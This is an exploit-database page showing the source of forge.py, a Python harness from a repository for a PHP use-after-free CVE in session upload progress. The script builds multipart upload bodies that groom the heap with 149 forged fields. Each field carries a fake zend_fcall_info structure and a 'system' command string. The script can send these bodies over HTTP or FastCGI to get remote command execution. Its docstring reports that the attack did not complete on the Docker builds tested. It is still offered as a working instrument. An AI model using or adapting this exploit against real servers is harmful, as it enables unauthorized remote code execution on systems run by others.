Exploit databaseDownload repository ZIP
GH-a3938031b974d12b9ec263925365d636
woyindao/cve-2026-109618-cvss-9.2-critical
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files10
woyindao/cve-2026-109618-cvss-9.2-criticalRevision 569254d381d9
- ↑..Parent directory
- README.md
- de0_leak_v2.py
- exploit_128m.py
- forge.py
- oom_amplifier.py
- oom_trigger.py
- stock_rce_chain.py
- symextract.py
- uaf_trigger.py
- unconditional.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/forge.py
Python · 8,091 bytes#!/usr/bin/env python3
"""
forge.py — heap-groom weaponization harness (stale-pointer -> packed-array
reclaim -> forged zend_fcall -> zend_call_function).
Mechanism (source-verified): after the second update() frees the decoded
progress tree, the freed 320-byte-class chunk is reclaimed by an
attacker-shaped packed array: N=149 `t[]` form fields, each a 288-byte
string (zend_string alloc = align(24+288+1) = 320 -> same size class).
The stale bucket store then writes into attacker memory holding a forged
zend_fcall_info / zend_internal_function whose handler points at
zend_call_function, with `system\\0<cmd>\\0` planted in the string tail.
STATUS (experiment matrix, 2026-10-21): arming verified everywhere; the
149-reclaim conversion did NOT complete on Docker-official builds
(8.4.4-cli / 8.4.4-fpm / 8.2.34-fpm) even with verified-correct runtime
addresses. The path is build/heap-history sensitive — this harness is the
instrument for testing a given target build, not a universal weapon.
Struct layout (php-src headers):
sizeof(zend_fcall_info)=64, param_count@+48,
zend_internal_function.handler@+88, IS_STRING_EX=0x106, IS_OBJECT_EX=0x308.
Usage:
python forge.py --selftest
python forge.py --build --bug 619 --call 0xADDR --out body.bin
python forge.py --fire-http --url http://127.0.0.1:18081 --bug 619 --call 0xADDR
python forge.py --fire-fcgi --host 127.0.0.1 --port 19000 \\
--script /var/www/html/naked.php --bug 619 --call 0xADDR
"""
from __future__ import annotations
import argparse
import hashlib
import sys
from core import send_http_stall, send_fcgi
FILLUNIT = 5120
N149 = 149
BLOB = 288 # 24+288+1 -> 320-byte bin (nTableSize 256 table)
FCI = 64
IS_STRING_EX = 0x106
IS_OBJECT_EX = 0x308
ZEND_INTERNAL = 1
HANDLER_OFF = 64 + 88
PARAM_COUNT_OFF = 48
TYPE_OFF = 16
BIN_OFF = 200
import struct # noqa: E402
def forge(call_addr: int, cmd: bytes) -> bytes:
"""288-byte fake zend_internal_function / fcall_info."""
rec = bytearray(BLOB)
struct.pack_into("<Q", rec, 0, FCI) # size
struct.pack_into("<Q", rec, 8, call_addr) # function_name / fn ptr
struct.pack_into("<I", rec, TYPE_OFF, IS_STRING_EX)
struct.pack_into("<I", rec, PARAM_COUNT_OFF, 1) # param_count
struct.pack_into("<B", rec, 64, ZEND_INTERNAL) # type
struct.pack_into("<Q", rec, HANDLER_OFF, call_addr) # handler -> zend_call_function
struct.pack_into("<I", rec, 160, IS_OBJECT_EX)
sysb = b"system\x00" + cmd + b"\x00"
rec[BIN_OFF:BIN_OFF + len(sysb)] = sysb[:80]
return bytes(rec)
def build_body(bug: int, sid: str, cmd: bytes, call_addr: int,
boundary: bytes) -> tuple[bytes, int]:
"""Returns (body, split_at). Delivery splits at split_at and stalls.
bug=619: stale INNER current_file_bytes_processed — ONE file, 149 t[]
FIRST so the packed table exists when the free happens.
bug=618: stale OUTER post_bytes_processed — TWO files, 149 t[] AFTER the
free so file2's FILE_DATA does the stale store.
"""
spray = forge(call_addr, cmd)
if boundary in spray:
raise SystemExit("boundary collides with forged bytes")
if bug == 619:
pre = part(boundary, "PHPSESSID", sid.encode()) + b"\r\n"
pre += part(boundary, "PHP_SESSION_UPLOAD_PROGRESS", b"x") + b"\r\n"
for _ in range(N149):
pre += part(boundary, "t[]", spray) + b"\r\n"
pre += part(boundary, "f", b"", filename="a") + b"\r\n"
phase1 = pre + b"A" * (FILLUNIT + 64)
tail = (b"B" * (FILLUNIT + 64)) + (b"C" * (FILLUNIT + 64))
tail += b"\r\n--" + boundary + b"--\r\n"
return phase1 + tail, len(phase1)
pre = part(boundary, "PHPSESSID", sid.encode()) + b"\r\n"
pre += part(boundary, "PHP_SESSION_UPLOAD_PROGRESS", b"x") + b"\r\n"
pre += part(boundary, "f", b"", filename="a") + b"\r\n"
phase1 = pre + b"A" * (FILLUNIT + 64)
tail = b"B" * (FILLUNIT + 64) + b"\r\n"
for _ in range(N149):
tail += part(boundary, "t[]", spray) + b"\r\n"
tail += part(boundary, "g", b"C" * 64, filename="b") + b"\r\n"
tail += b"--" + boundary + b"--\r\n"
return phase1 + tail, len(phase1)
def part(boundary: bytes, name: str, body: bytes, filename: str | None = None) -> bytes:
disp = f'Content-Disposition: form-data; name="{name}"'
if filename is not None:
disp += f'; filename="{filename}"'
return b"--" + boundary + b"\r\n" + disp.encode() + b"\r\n\r\n" + body
def selftest() -> int:
for bug in (618, 619):
body, split = build_body(bug, "a" * 32, b"id", 0, b"S3lft3st")
print(f"[selftest] bug {bug}: body={len(body)}B split={split} "
f"sha={hashlib.sha256(body).hexdigest()[:12]}")
assert body.startswith(b"--S3lft3st")
f = forge(0x4141414142424242, b"echo TEST")
assert struct.unpack_from("<Q", f, 0)[0] == FCI
assert struct.unpack_from("<Q", f, 8)[0] == 0x4141414142424242
assert struct.unpack_from("<Q", f, HANDLER_OFF)[0] == 0x4141414142424242
assert b"system\x00echo TEST\x00" in f
print("[selftest] forge layout OK (FCI=64, param_count@48, handler@88, "
"system string) — PASS")
return 0
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--selftest", action="store_true")
ap.add_argument("--bug", type=int, choices=[618, 619], default=619)
ap.add_argument("--call", default="0", help="RUNTIME zend_call_function address")
ap.add_argument("--command", default="id; echo FORGE_HIT")
ap.add_argument("--sid", default="")
ap.add_argument("--stall", type=float, default=1.4)
ap.add_argument("--build", action="store_true")
ap.add_argument("--out", default="forge-body.bin")
ap.add_argument("--fire-http", action="store_true")
ap.add_argument("--url", default="http://127.0.0.1:18081")
ap.add_argument("--path", default="/naked.php")
ap.add_argument("--fire-fcgi", action="store_true")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=19000)
ap.add_argument("--script", default="/var/www/html/naked.php")
a = ap.parse_args()
if a.selftest:
return selftest()
call = int(a.call, 0)
if not call:
print("[!] --call 0: forge will carry NULL pointers (layout test only). "
"Extract the runtime address with symextract.py first.")
sid = a.sid or f"forge{a.bug}"
from core import check_sid
if not check_sid(sid):
print(f"[!] sid '{sid}' outside [a-zA-Z0-9,-]; files handler may reject "
"the session path — use a compliant sid")
boundary = b"Frg" + f"{a.bug}".encode() + b"Xz9"
body, split = build_body(a.bug, sid, a.command.encode(), call, boundary)
print(f"[*] bug={a.bug} sid={sid} body={len(body)}B split={split} "
f"call={call:#x} stall={a.stall}s")
if a.build:
open(a.out, "wb").write(body)
print(f"[+] body -> {a.out}")
return 0
if a.fire_http:
resp = send_http_stall(a.url, a.path, body[:split], body[split:],
boundary.decode(), sid, a.stall)
head = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO-RESPONSE"
text = resp.split(b"\r\n\r\n", 1)[-1] if resp else b""
hit = b"FORGE_HIT" in text or b"uid=" in text
print(f"[http] {head} command_in_body={hit}")
if not hit:
print(f"[http] body head: {text[:200]!r}")
return 0 if hit else 1
if a.fire_fcgi:
out, err = send_fcgi(a.host, a.port, a.script, body, boundary.decode(),
sid, split, a.stall)
hit = b"FORGE_HIT" in out or b"uid=" in out
print(f"[fcgi] stdout head: {out[:160]!r}")
print(f"[fcgi] stderr: {err[:160]!r}")
print(f"[fcgi] command_in_body={hit}")
return 0 if hit else 1
ap.error("choose --selftest / --build / --fire-http / --fire-fcgi")
return 2
if __name__ == "__main__":
sys.exit(main())